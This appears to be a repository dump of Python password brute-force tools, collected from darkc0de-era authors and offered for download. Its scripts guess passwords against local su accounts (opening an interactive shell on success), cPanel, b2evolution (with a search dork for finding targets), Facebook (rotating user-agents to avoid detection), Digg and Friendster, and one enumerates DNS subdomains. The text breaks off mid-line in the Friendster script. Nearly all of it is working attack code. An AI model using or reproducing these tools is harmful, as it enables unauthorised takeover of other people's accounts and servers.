[
  {
    "path": ".gitattributes",
    "content": "# Auto detect text files and perform LF normalization\n* text=auto\n\n# Custom for Visual Studio\n*.cs     diff=csharp\n*.sln    merge=union\n*.csproj merge=union\n*.vbproj merge=union\n*.fsproj merge=union\n*.dbproj merge=union\n\n# Standard to msysgit\n*.doc\t diff=astextplain\n*.DOC\t diff=astextplain\n*.docx diff=astextplain\n*.DOCX diff=astextplain\n*.dot  diff=astextplain\n*.DOT  diff=astextplain\n*.pdf  diff=astextplain\n*.PDF\t diff=astextplain\n*.rtf\t diff=astextplain\n*.RTF\t diff=astextplain\n"
  },
  {
    "path": ".gitignore",
    "content": "#################\n## Eclipse\n#################\n\n*.pydevproject\n.project\n.metadata\nbin/\ntmp/\n*.tmp\n*.bak\n*.swp\n*~.nib\nlocal.properties\n.classpath\n.settings/\n.loadpath\n\n# External tool builders\n.externalToolBuilders/\n\n# Locally stored \"Eclipse launch configurations\"\n*.launch\n\n# CDT-specific\n.cproject\n\n# PDT-specific\n.buildpath\n\n\n#################\n## Visual Studio\n#################\n\n## Ignore Visual Studio temporary files, build results, and\n## files generated by popular Visual Studio add-ons.\n\n# User-specific files\n*.suo\n*.user\n*.sln.docstates\n\n# Build results\n[Dd]ebug/\n[Rr]elease/\n*_i.c\n*_p.c\n*.ilk\n*.meta\n*.obj\n*.pch\n*.pdb\n*.pgc\n*.pgd\n*.rsp\n*.sbr\n*.tlb\n*.tli\n*.tlh\n*.tmp\n*.vspscc\n.builds\n*.dotCover\n\n## TODO: If you have NuGet Package Restore enabled, uncomment this\n#packages/\n\n# Visual C++ cache files\nipch/\n*.aps\n*.ncb\n*.opensdf\n*.sdf\n\n# Visual Studio profiler\n*.psess\n*.vsp\n\n# ReSharper is a .NET coding add-in\n_ReSharper*\n\n# Installshield output folder\n[Ee]xpress\n\n# DocProject is a documentation generator add-in\nDocProject/buildhelp/\nDocProject/Help/*.HxT\nDocProject/Help/*.HxC\nDocProject/Help/*.hhc\nDocProject/Help/*.hhk\nDocProject/Help/*.hhp\nDocProject/Help/Html2\nDocProject/Help/html\n\n# Click-Once directory\npublish\n\n# Others\n[Bb]in\n[Oo]bj\nsql\nTestResults\n*.Cache\nClientBin\nstylecop.*\n~$*\n*.dbmdl\nGenerated_Code #added for RIA/Silverlight projects\n\n# Backup & report files from converting an old project file to a newer\n# Visual Studio version. Backup files are not needed, because we have git ;-)\n_UpgradeReport_Files/\nBackup*/\nUpgradeLog*.XML\n\n\n\n############\n## Windows\n############\n\n# Windows image file caches\nThumbs.db\n\n# Folder config file\nDesktop.ini\n\n\n#############\n## Python\n#############\n\n*.py[co]\n\n# Packages\n*.egg\n*.egg-info\ndist\nbuild\neggs\nparts\nbin\nvar\nsdist\ndevelop-eggs\n.installed.cfg\n\n# Installer logs\npip-log.txt\n\n# Unit test / coverage reports\n.coverage\n.tox\n\n#Translations\n*.mo\n\n#Mr Developer\n.mr.developer.cfg\n\n# Mac crap\n.DS_Store\n"
  },
  {
    "path": "README.md",
    "content": "bruteforce_py\n=============\n\nAll codes in this repo are not mine, last time I used this code for playing <br/>\nall bruteforce with python, ssh bf, wordpress bf, cpanel bf, mysql bf, etc</br>\n\nYou can fork, download, and using this code. \n\nThank you, :) \n"
  },
  {
    "path": "accbrute.py",
    "content": "#!/usr/bin/python\n#Local Account BruteForcer\n\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport sys, pwd\ntry:\n\timport pexpect\nexcept(ImportError):\n\tprint \"\\nYou need the pexpect module.\"\n\tprint \"http://www.noah.org/wiki/Pexpect\\n\"\n\tsys.exit(1)\n\n#Change this if needed.\nLOGIN_ERROR = 'su: incorrect password'\n\ndef brute(word):\n\tprint \"Trying:\",word\n\tchild = pexpect.spawn ('su '+user)\n\tchild.expect ('Password: ')\n\tchild.sendline (word)\n\ti = child.expect([LOGIN_ERROR, pexpect.TIMEOUT], timeout=5)\n\tif i  == 1:\n\t\tprint \"\\n\\t[!] Password:\",word\n\t\tchild.sendline ('whoami')\n\t\tprint child.before\n\t\tchild.interact()\n\t#if i = 0:\n\t\t#print \"Incorrect Password\"\n\t\nif len(sys.argv) != 3:\n\tprint \"\\nUsage : ./accbrute.py <user> <wordlist>\"\n\tprint \"Eg: ./accbrute.py d3hydr8 words.txt\\n\"\n\tsys.exit(1)\n\nuser = sys.argv[1]\nusers = []\nfor x in pwd.getpwall():\n\tusers.append(x[0])\nif user not in users:\n\tprint \"\\n[-] User not found\\n\"\n\tsys.exit(1)\n\t\nprint \"\\n[+] Found:\",len(users),\"users\"\ntry:\n\twords = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"\\n[-] Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\t\nprint \"\\n[+] Loaded:\",len(words),\"words\"\nprint \"[+] User:\",user\nprint \"[+] BruteForcing...\\n\"\nfor word in words:\n\tbrute(word.replace(\"\\n\",\"\"))\n"
  },
  {
    "path": "b2evobf.py",
    "content": "#!/usr/bin/python \n#b2evolution Brute Force (login.php) \n \n#Change response on line 90 if needed. (language) \n \n#Dork: inurl:\"/htsrv/login.php\" intitle:b2evo \n \n#http://www.darkc0de.com \n#d3hydr8[at]gmail[dot]com \n \nimport urllib2, sys, re, urllib, httplib, socket \n \nprint \"\\n   d3hydr8[at]gmail[dot]com b2evoBF v1.0\" \nprint \"--------------------------------------------\" \n \nif len(sys.argv) not in [4,5,6,7]: \n\tprint \"Usage: ./b2evobf.py <site> <user> <wordlist> <options>\\n\" \n\tprint \"\\t   -p/-proxy <host:port> : Add proxy support\" \n\tprint \"\\t   -v/-verbose : Verbose Mode\\n\" \n\tsys.exit(1) \n \nfor arg in sys.argv[1:]: \n\tif arg.lower() == \"-p\" or arg.lower() == \"-proxy\": \n\t\tproxy = sys.argv[int(sys.argv[1:].index(arg))+2] \n\tif arg.lower() == \"-v\" or arg.lower() == \"-verbose\": \n\t\tverbose = 1 \n \ntry: \n\tif proxy: \n\t\tprint \"\\n[+] Testing Proxy...\" \n\t\th2 = httplib.HTTPConnection(proxy) \n\t\th2.connect() \n\t\tprint \"[+] Proxy:\",proxy \nexcept(socket.timeout): \n\tprint \"\\n[-] Proxy Timed Out\" \n\tproxy = 0 \n\tpass \nexcept(NameError): \n\tprint \"\\n[-] Proxy Not Given\" \n\tproxy = 0 \n\tpass \nexcept: \n\tprint \"\\n[-] Proxy Failed\" \n\tproxy = 0 \n\tpass \n \ntry: \n\tif verbose == 1: \n\t\tprint \"[+] Verbose Mode On\\n\" \nexcept(NameError): \n\tprint \"[-] Verbose Mode Off\\n\" \n\tverbose = 0 \n\tpass \n \nif sys.argv[1][:7] != \"http://\": \n\thost = \"http://\"+sys.argv[1] \nelse: \n\thost = sys.argv[1] \n \nprint \"[+] BruteForcing:\",host \nprint \"[+] User:\",sys.argv[2] \n \ntry: \n  \twords = open(sys.argv[3], \"r\").readlines() \n  \tprint \"[+] Words Loaded:\",len(words),\"\\n\" \nexcept(IOError): \n  \tprint \"[-] Error: Check your wordlist path\\n\" \n  \tsys.exit(1) \n \nfor word in words: \n\tword = word.replace(\"\\r\",\"\").replace(\"\\n\",\"\") \n\tlogin_form_seq = [ \n     \t('log', sys.argv[2]), \n     \t('pwd', word), \n\t('submit', 'Log in!')] \n\tlogin_form_data = urllib.urlencode(login_form_seq) \n\tif proxy != 0: \n\t\tproxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'}) \n\t\topener = urllib2.build_opener(proxy_handler) \n\telse: \n\t\topener = urllib2.build_opener() \n\ttry: \n\t\tsite = opener.open(host, login_form_data).read() \n\texcept(urllib2.URLError), msg: \n\t\tprint msg \n\t\tsite = \"\" \n\t\tpass \n \n\t#Change this response if different. (language) \n\tif re.search(\"<strong>ERROR:</strong>\",site) and verbose == 1: \n\t\tprint \"[-] Login Failed:\",word \n\telse: \n\t\tprint \"\\n\\t[!] Login Successfull:\",sys.argv[2],word,\"\\n\" \n\t\tsys.exit(1) \nprint \"\\n[-] Brute Complete\\n\" "
  },
  {
    "path": "cPanelbrute.py",
    "content": "#!usr/bin/python\n#cPanel BruteForcer\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, random, sys, urllib2, httplib, base64\nfrom copy import copy\n\ndef title():\n\tprint \"\\n\\t   d3hydr8[at]gmail[dot]com cPanel BruteForcer v1.0\"\n\tprint \"\\t-----------------------------------------------------\\n\"\n\t\ndef timer():\n\tnow = time.localtime(time.time())\n\treturn time.asctime(now)\n\t\nif len(sys.argv) !=5:\n\ttitle()\n\tprint \"\\nUsage: ./cPanelbrute.py <server> <port> <userlist> <wordlist>\\n\"\n\tprint \"ex: python cPanelbrute.py example.com 2082 users.txt wordlist.txt\\n\"\n\tsys.exit(1)\n\ntry:\n  \tusers = open(sys.argv[3], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your userlist path\\n\"\n  \tsys.exit(1)\n  \ntry:\n  \twords = open(sys.argv[4], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nwordlist = copy(words)\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\t\t\n\telse:\n\t\tprint \"\\nReloading Wordlist - Changing User\\n\"\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\tusers.remove(users[0])\n\t\t\n\tlock.release()\n\tif len(users) ==1:\n\t\treturn users[0], value[0][:-1]\n\telse:\n\t\treturn users[0][:-1], value[0][:-1] \n\ndef getauth(url):\n\t\n\treq = urllib2.Request(url)\n\ttry:\n    \t\thandle = urllib2.urlopen(req)\n\texcept IOError, e:               \n    \t\tpass\n\telse:                               \n    \t\tprint \"This page isn't protected by basic authentication.\\n\"\n    \t\tsys.exit(1)\n   \n\tif not hasattr(e, 'code') or e.code != 401:                 \n    \t\tprint \"\\nThis page isn't protected by basic authentication.\"\n    \t\tprint 'But we failed for another reason.\\n'\n    \t\tsys.exit(1)\n\n\tauthline = e.headers.get('www-authenticate', '')    \n          \n\tif not authline:\n    \t\tprint '\\nA 401 error without a basic authentication response header - very weird.\\n'\n    \t\tsys.exit(1)\n\telse:\n\t\treturn authline\n\t\t\t\nclass Worker(threading.Thread):\n\t\n\tdef run(self):\n\t\tusername, password = getword()\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tprint \"User:\",username,\"Password:\",password\n\t\t\tauth_handler = urllib2.HTTPBasicAuthHandler()\n\t\t\tauth_handler.add_password(\"cPanel\", server, base64encodestring(username)[:-1], base64encodestring(password)[:-1])\n\t\t\topener = urllib2.build_opener(auth_handler)\n\t\t\turllib2.install_opener(opener)\n\t\t\turllib2.urlopen(server)\n\t\t\tprint \"\\t\\n\\nUsername:\",username,\"Password:\",password,\"----- Login successful!!!\\n\\n\"\t\t\t\n\t\texcept (urllib2.HTTPError, httplib.BadStatusLine), msg: \n\t\t\t#print \"An error occurred:\", msg\n\t\t\tpass\n\t\t\ntitle()\nif sys.argv[1][-1] == \"/\":\n\tsys.argv[1] = sys.argv[1][:-1] \nserver = sys.argv[1]+\":2082\"\nif sys.argv[2].isdigit() == False:\n\tprint \"[-] Port must be a number\\n\"\n\tsys.exit(1)\nelse:\n\tport = sys.argv[2] \nif sys.argv[1][-1] == \"/\":\n\tsys.argv[1] = sys.argv[1][:-1] \nserver = sys.argv[1]+\":\"+port\n\nprint \"[+] Server:\",server\nprint \"[+] Port:\",port \nprint \"[+] Users Loaded:\",len(users)\nprint \"[+] Words Loaded:\",len(words)\nprint \"[+]\",getauth(server)\nprint \"[+] Started\",timer(),\"\\n\"\n\nfor i in range(len(words)*len(users)):\n\twork = Worker()\n\twork.setDaemon(1)\n\twork.start()\n\ttime.sleep(1)\nprint \"\\n[-] Done -\",timer(),\"\\n\"\n"
  },
  {
    "path": "diggbf.py",
    "content": "#!/usr/bin/python\n#Digg.com Login BruteForcer\n\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com \n\nimport urllib2, sys, re, urllib, httplib, socket\n\nprint \"\\n   d3hydr8[at]gmail[dot]com diggBF v1.0\"\nprint \"----------------------------------------------\"\n\nif len(sys.argv) not in [3,4,5,6]:\n\tprint \"Usage: ./diggbf.py <user> <wordlist> <options>\\n\"\n\tprint \"\\t   -p/-proxy <host:port> : Add proxy support\"\n\tprint \"\\t   -v/-verbose : Verbose Mode\\n\"\n\tsys.exit(1)\n\t\nfor arg in sys.argv[1:]:\n\tif arg.lower() == \"-p\" or arg.lower() == \"-proxy\":\n\t\tproxy = sys.argv[int(sys.argv[1:].index(arg))+2]\n\tif arg.lower() == \"-v\" or arg.lower() == \"-verbose\":\n\t\tverbose = 1\n\t\t\ntry:\n\tif proxy:\n\t\tprint \"\\n[+] Testing Proxy...\"\n\t\th2 = httplib.HTTPConnection(proxy)\n\t\th2.connect()\n\t\tprint \"[+] Proxy:\",proxy\nexcept(socket.timeout):\n\tprint \"\\n[-] Proxy Timed Out\"\n\tproxy = 0\n\tpass\nexcept(NameError):\n\tprint \"\\n[-] Proxy Not Given\"\n\tproxy = 0\n\tpass\nexcept:\n\tprint \"\\n[-] Proxy Failed\"\n\tproxy = 0\n\tpass\n\t\ntry:\n\tif verbose == 1:\n\t\tprint \"[+] Verbose Mode On\\n\"\nexcept(NameError):\n\tprint \"[-] Verbose Mode Off\\n\"\n\tverbose = 0\n\tpass\n\t\nhost = \"http://digg.com/login\"\nprint \"[+] BruteForcing:\",host\nprint \"[+] User:\",sys.argv[1]\n\ntry:\n  \twords = open(sys.argv[2], \"r\").readlines()\n  \tprint \"[+] Words Loaded:\",len(words),\"\\n\"\nexcept(IOError): \n  \tprint \"[-] Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n  \nfor word in words:\n\tword = word.replace(\"\\r\",\"\").replace(\"\\n\",\"\")\n\tlogin_form_seq = [\n     \t('username', sys.argv[1]),\n     \t('password', word),\n     \t('persistent', 'on'),\n     \t('submit', 'Login'),\n\t('processlogin', '1'),\n\t('returnpage', '/')]\n\tlogin_form_data = urllib.urlencode(login_form_seq)\n\tif proxy != 0:\n\t\tproxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'})\n\t\topener = urllib2.build_opener(host, proxy_handler)\n\telse:\n\t\topener = urllib2.build_opener(host)\n\ttry:\n\t\tsite = opener.open(host, login_form_data).read()\n\texcept(urllib2.URLError), msg:\n\t\tprint msg\n\t\tsite = \"\"\n\t\tpass\n\n\tif re.search(\"<h3>Whoops!</h3>\",site) == None:\n\t\tprint \"\\n\\t[!] Login Successfull:\",sys.argv[1],word,\"\\n\"\n\t\tsys.exit(1)\n\telse:\n\t\tif verbose == 1:\n\t\t\tprint \"[-] Login Failed:\",word\nprint \"\\n[-] Brute Complete\\n\"\n\t"
  },
  {
    "path": "dnsbrute.py",
    "content": "#!usr/bin/python\n#DNS Brute Forcer, uses wordlist to find subdomains.\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, random, sys, socket\nfrom copy import copy\n\nif len(sys.argv) !=3:\n\tprint \"Usage: ./dnsbrute.py <server> <wordlist>\"\n\tsys.exit(1)\n\ntry:\n  \twords = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com dnsBruteForcer v1.0\"\nprint \"\\t--------------------------------------------------\\n\"\nprint \"[+] Server:\",sys.argv[1]\nprint \"[+] Words Loaded:\",len(words),\"\\n\"\n\nwordlist = copy(words)\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\n\t\t\n\telse:\n\t\tprint \"Reloading Wordlist\\n\"\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\t\n\tlock.release()\n\treturn value[0]\n\t\t\nclass Worker(threading.Thread):\n\t\n\tdef run(self):\n\t\tvalue = getword()\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tdigger = value[:-1]+\".\"+sys.argv[1]\n\t\t\tprint \"Trying:\", digger\n\t\t\tresult = socket.getaddrinfo(digger, None, 0, socket.SOCK_STREAM)\n\t\t\tprint \"\\n\\t\\tWorked:\",[x[4][0] for x in result][0],\" Hostname:\",digger\n\t\texcept(socket.gaierror), msg: \n\t\t\tpass\n \nfor i in range(len(words)):\n\twork = Worker()\n\twork.start()\n\ttime.sleep(1)\n"
  },
  {
    "path": "facebookbruteforcer.py",
    "content": "#!/usr/bin/python\n# This is facebook bruteforcer tools\n# This was written for educational purpose and pentest only. Use it at your own risk.\n# Author will not be responsible for any damage !!\n# Toolname \t: facebookbruteforcer.py\n# Programmer \t: Gunslinger_ <yudha.gunslinger@gmail.com>\n# Version\t: 1.0\n# Date\t\t: Tue Jul 27 13:24:44 WIT 2010\n# Special thanks to mywisdom to inspire me ;)\n\nimport re\nimport os\nimport sys\nimport random\nimport warnings\nimport time\ntry:\n\timport mechanize\nexcept ImportError:\n\tprint \"[*] Please install mechanize python module first\"\n\tsys.exit(1)\nexcept KeyboardInterrupt:\n\tprint \"\\n[*] Exiting program...\\n\"\n\tsys.exit(1)\ntry:\n\timport cookielib\nexcept ImportError:\n\tprint \"[*] Please install cookielib python module first\"\n\tsys.exit(1)\nexcept KeyboardInterrupt:\n\tprint \"\\n[*] Exiting program...\\n\"\n\tsys.exit(1)\n\nwarnings.filterwarnings(action=\"ignore\", message=\".*gzip transfer encoding is experimental!\", category=UserWarning)\n\n# define variable\n__programmer__ \t= \"gunslinger_ <yudha.gunslinger@gmail.com>\"\n__version__    \t= \"1.0\"\nverbose \t= False\nuseproxy\t= False\nusepassproxy\t= False\nlog\t\t= 'fbbruteforcer.log'\nfile\t\t= open(log, \"a\")\nsuccess\t\t= 'http://www.facebook.com/?sk=messages&amp;ref=mb'\nfblogin \t= 'https://login.facebook.com/login.php?login_attempt=1'\n# some cheating ..\nouruseragent \t= ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',\n\t\t'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',\n\t\t'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',\n\t\t'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',\n\t        'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',\n\t        'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',\n\t        'Microsoft Internet Explorer/4.0b1 (Windows 95)',\n\t        'Opera/8.00 (Windows NT 5.1; U; en)',\n\t\t'amaya/9.51 libwww/5.4.0',\n\t\t'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',\n\t\t'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',\n\t\t'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',\n\t\t'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',\n\t\t'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',\n\t\t'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]'\n\t\t]\nfacebook \t= '''\n  __               _                 _\n / _|             | |               | |\n| |_ __ _  ___ ___| |__   ___   ___ | | __\n|  _/ _` |/ __/ _ \\ '_ \\ / _ \\ / _ \\| |/ /\n| || (_| | (_|  __/ |_) | (_) | (_) |   <\n|_| \\__,_|\\___\\___|_.__/ \\___/ \\___/|_|\\_\\\\\n\t\t\t\t\tbruteforcer...\n\nProgrammer : %s\nVersion\t   : %s''' % (__programmer__, __version__)\noption \t      \t= '''\nUsage  : %s [options]\nOption : -u, --username  \t<username>     \t|   User for bruteforcing\n         -w, --wordlist  \t<filename>     \t|   Wordlist used for bruteforcing\n         -v, --verbose\t\t\t\t|   Set %s will be verbose\n         -p, --proxy\t \t<host:port>\t|   Set http proxy will be use\n         -k, --usernameproxy\t<username>\t|   Set username at proxy will be use\n         -i, --passproxy\t<password>\t|   Set password at proxy will be use\n         -l, --log\t \t<filename>\t|   Specify output filename (default : fbbruteforcer.log)\n         -h, --help      \t<help>         \t|   Print this help\n\nExample : %s -u brad@hackme.com -w wordlist.txt\"\n\nP.S : add \"&\" to run in the background\n''' % (sys.argv[0], sys.argv[0], sys.argv[0])\nhme \t\t= '''\nUsage : %s [option]\n\t-h or --help for get help\n\t''' % sys.argv[0]\n\ndef helpme():\n\tprint facebook\n\tprint option\n\tfile.write(facebook)\n\tfile.write(option)\n\tsys.exit(1)\n\ndef helpmee():\n\tprint facebook\n\tprint hme\n\tfile.write(facebook)\n\tfile.write(hme)\n\tsys.exit(1)\n\nfor arg in sys.argv:\n\ttry:\n\t\tif arg.lower() == '-u' or arg.lower() == '--user':\n\t            \tusername = sys.argv[int(sys.argv[1:].index(arg))+2]\n\t\telif arg.lower() == '-w' or arg.lower() == '--wordlist':\n\t            \twordlist = sys.argv[int(sys.argv[1:].index(arg))+2]\n\t        elif arg.lower() == '-l' or arg.lower() == '--log':\n\t            \tlog = sys.argv[int(sys.argv[1:].index(arg))+2]\n\t        elif arg.lower() == '-p' or arg.lower() == '--proxy':\n\t        \tuseproxy = True\n\t            \tproxy = sys.argv[int(sys.argv[1:].index(arg))+2]\n\t        elif arg.lower() == '-k' or arg.lower() == '--userproxy':\n\t        \tusepassproxy = True\n\t            \tusw = sys.argv[int(sys.argv[1:].index(arg))+2]\n\t        elif arg.lower() == '-i' or arg.lower() == '--passproxy':\n\t        \tusepassproxy = True\n\t            \tusp = sys.argv[int(sys.argv[1:].index(arg))+2]\n\t\telif arg.lower() == '-v' or arg.lower() == '--verbose':\n\t            \tverbose = True\n\t        elif arg.lower() == '-h' or arg.lower() == '--help':\n\t        \thelpme()\n\t\telif len(sys.argv) <= 1:\n\t\t\thelpmee()\n\texcept IOError:\n\t\thelpme()\n\texcept NameError:\n\t\thelpme()\n\texcept IndexError:\n\t\thelpme()\n\ndef bruteforce(word):\n\ttry:\n\t\tsys.stdout.write(\"\\r[*] Trying %s...                    \" % word)\n\t\tfile.write(\"[*] Trying %s\\n\" % word)\n\t\tsys.stdout.flush()\n\t\tbr.addheaders = [('User-agent', random.choice(ouruseragent))]\n\t\topensite = br.open(fblogin)\n\t\tbr.select_form(nr=0)\n\t\tbr.form['email'] = username\n\t\tbr.form['pass'] = word\n\t\tbr.submit()\n\t\tresponse = br.response().read()\n\t\tif verbose:\n\t\t\tprint response\n\t\tif success in response:\n\t\t\tprint \"\\n\\n[*] Logging in success...\"\n\t\t\tprint \"[*] Username : %s\" % (username)\n\t\t\tprint \"[*] Password : %s\\n\" % (word)\n\t\t\tfile.write(\"\\n[*] Logging in success...\")\n\t\t\tfile.write(\"\\n[*] Username : %s\" % (username))\n\t\t\tfile.write(\"\\n[*] Password : %s\\n\\n\" % (word))\n\t\t\tsys.exit(1)\n\texcept KeyboardInterrupt:\n\t\tprint \"\\n[*] Exiting program...\\n\"\n\t\tsys.exit(1)\n\texcept mechanize._mechanize.FormNotFoundError:\n\t\tprint \"\\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\\n\"\n\t\tfile.write(\"\\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\\n\")\n\t\tsys.exit(1)\n\texcept mechanize._form.ControlNotFoundError:\n\t\tprint \"\\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\\n\"\n\t\tfile.write(\"\\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\\n\")\n\t\tsys.exit(1)\n\ndef releaser():\n\tglobal word\n\tfor word in words:\n\t\tbruteforce(word.replace(\"\\n\",\"\"))\n\ndef main():\n\tglobal br\n\tglobal words\n\ttry:\n\t\tbr = mechanize.Browser()\n\t\tcj = cookielib.LWPCookieJar()\n\t\tbr.set_cookiejar(cj)\n\t\tbr.set_handle_equiv(True)\n\t\tbr.set_handle_gzip(True)\n\t\tbr.set_handle_redirect(True)\n\t\tbr.set_handle_referer(True)\n\t\tbr.set_handle_robots(False)\n\t\tbr.set_debug_http(False)\n\t\tbr.set_debug_redirects(False)\n\t\tbr.set_debug_redirects(False)\n\t\tbr.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)\n\t\tif useproxy:\n\t\t\tbr.set_proxies({\"http\": proxy})\n\t\tif usepassproxy:\n\t\t\tbr.add_proxy_password(usw, usp)\n\t\tif verbose:\n\t\t\tbr.set_debug_http(True)\n\t\t\tbr.set_debug_redirects(True)\n\t\t\tbr.set_debug_redirects(True)\n\texcept KeyboardInterrupt:\n\t\tprint \"\\n[*] Exiting program...\\n\"\n\t\tfile.write(\"\\n[*] Exiting program...\\n\")\n\t\tsys.exit(1)\n\ttry:\n\t\tpreventstrokes = open(wordlist, \"r\")\n\t\twords \t       = preventstrokes.readlines()\n\t\tcount          = 0\n\t\twhile count < len(words):\n\t\t\twords[count] = words[count].strip()\n\t\t\tcount += 1\n\texcept IOError:\n\t  \tprint \"\\n[*] Error: Check your wordlist path\\n\"\n\t\tfile.write(\"\\n[*] Error: Check your wordlist path\\n\")\n\t  \tsys.exit(1)\n\texcept NameError:\n\t\thelpme()\n\texcept KeyboardInterrupt:\n\t\tprint \"\\n[*] Exiting program...\\n\"\n\t\tfile.write(\"\\n[*] Exiting program...\\n\")\n\t\tsys.exit(1)\n\ttry:\n\t\tprint facebook\n\t\tprint \"\\n[*] Starting attack at %s\" % time.strftime(\"%X\")\n\t\tprint \"[*] Account for bruteforcing %s\" % (username)\n\t\tprint \"[*] Loaded :\",len(words),\"words\"\n\t\tprint \"[*] Bruteforcing, please wait...\"\n\t\tfile.write(facebook)\n\t\tfile.write(\"\\n[*] Starting attack at %s\" % time.strftime(\"%X\"))\n\t\tfile.write(\"\\n[*] Account for bruteforcing %s\" % (username))\n\t\tfile.write(\"\\n[*] Loaded : %d words\" % int(len(words)))\n\t\tfile.write(\"\\n[*] Bruteforcing, please wait...\\n\")\n\texcept KeyboardInterrupt:\n\t\tprint \"\\n[*] Exiting program...\\n\"\n\t\tsys.exit(1)\n\ttry:\n\t\treleaser()\n\t\tbruteforce(word)\n\texcept NameError:\n\t\thelpme()\n\nif __name__ == '__main__':\n\tmain()"
  },
  {
    "path": "friendsterbf.py",
    "content": "#!/usr/bin/python\n#Friendster.com Login BruteForcer\n\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com \n\nimport urllib2, sys, re, urllib, httplib, socket\n\nprint \"\\n   d3hydr8[at]gmail[dot]com friendsterBF v1.1\"\nprint \"----------------------------------------------\"\n\nif len(sys.argv) not in [3,4,5,6]:\n\tprint \"Usage: ./friendsterbf.py <user> <wordlist> <options>\\n\"\n\tprint \"\\t   -p/-proxy <host:port> : Add proxy support\"\n\tprint \"\\t   -v/-verbose : Verbose Mode\\n\"\n\tsys.exit(1)\n\t\nfor arg in sys.argv[1:]:\n\tif arg.lower() == \"-p\" or arg.lower() == \"-proxy\":\n\t\tproxy = sys.argv[int(sys.argv[1:].index(arg))+2]\n\tif arg.lower() == \"-v\" or arg.lower() == \"-verbose\":\n\t\tverbose = 1\n\t\t\ntry:\n\tif proxy:\n\t\tprint \"\\n[+] Testing Proxy...\"\n\t\th2 = httplib.HTTPConnection(proxy)\n\t\th2.connect()\n\t\tprint \"[+] Proxy:\",proxy\nexcept(socket.timeout):\n\tprint \"\\n[-] Proxy Timed Out\"\n\tproxy = 0\n\tpass\nexcept(NameError):\n\tprint \"\\n[-] Proxy Not Given\"\n\tproxy = 0\n\tpass\nexcept:\n\tprint \"\\n[-] Proxy Failed\"\n\tproxy = 0\n\tpass\n\t\ntry:\n\tif verbose == 1:\n\t\tprint \"[+] Verbose Mode On\\n\"\nexcept(NameError):\n\tprint \"[-] Verbose Mode Off\\n\"\n\tverbose = 0\n\tpass\n\t\nhost = \"http://www.friendster.com/login.php\"\nprint \"[+] BruteForcing:\",host\nprint \"[+] Email:\",sys.argv[1]\n\ntry:\n  \twords = open(sys.argv[2], \"r\").readlines()\n  \tprint \"[+] Words Loaded:\",len(words),\"\\n\"\nexcept(IOError): \n  \tprint \"[-] Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n  \nfor word in words:\n\tword = word.replace(\"\\r\",\"\").replace(\"\\n\",\"\")\n\tlogin_form_seq = [\n     \t('_submitted', '1'),\n     \t('next', '/'),\n     \t('tzoffset', '240'),\n     \t('email', sys.argv[1]),\n\t('password', word),\n\t('remembermyemail', 'on'),\n\t('btnLogIn', 'Log In'),\n\t('btnSignUp','Sign Up')]\n\tlogin_form_data = urllib.urlencode(login_form_seq)\n\tif proxy != 0:\n\t\tproxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'})\n\t\topener = urllib2.build_opener(proxy_handler)\n\telse:\n\t\topener = urllib2.build_opener()\n\ttry:\n\t\topener.addheaders = [('User-agent', 'Mozilla/5.0')]\n\t\tsite = opener.open(host, login_form_data).read()\n\texcept(urllib2.URLError), msg:\n\t\tprint msg\n\t\tsite = \"\"\n\t\tpass\n\t\n\tif re.search(\"The email address you entered is not a valid Friendster login.\",site):\n\t\tprint \"\\nThe email address you entered is not a valid Friendster 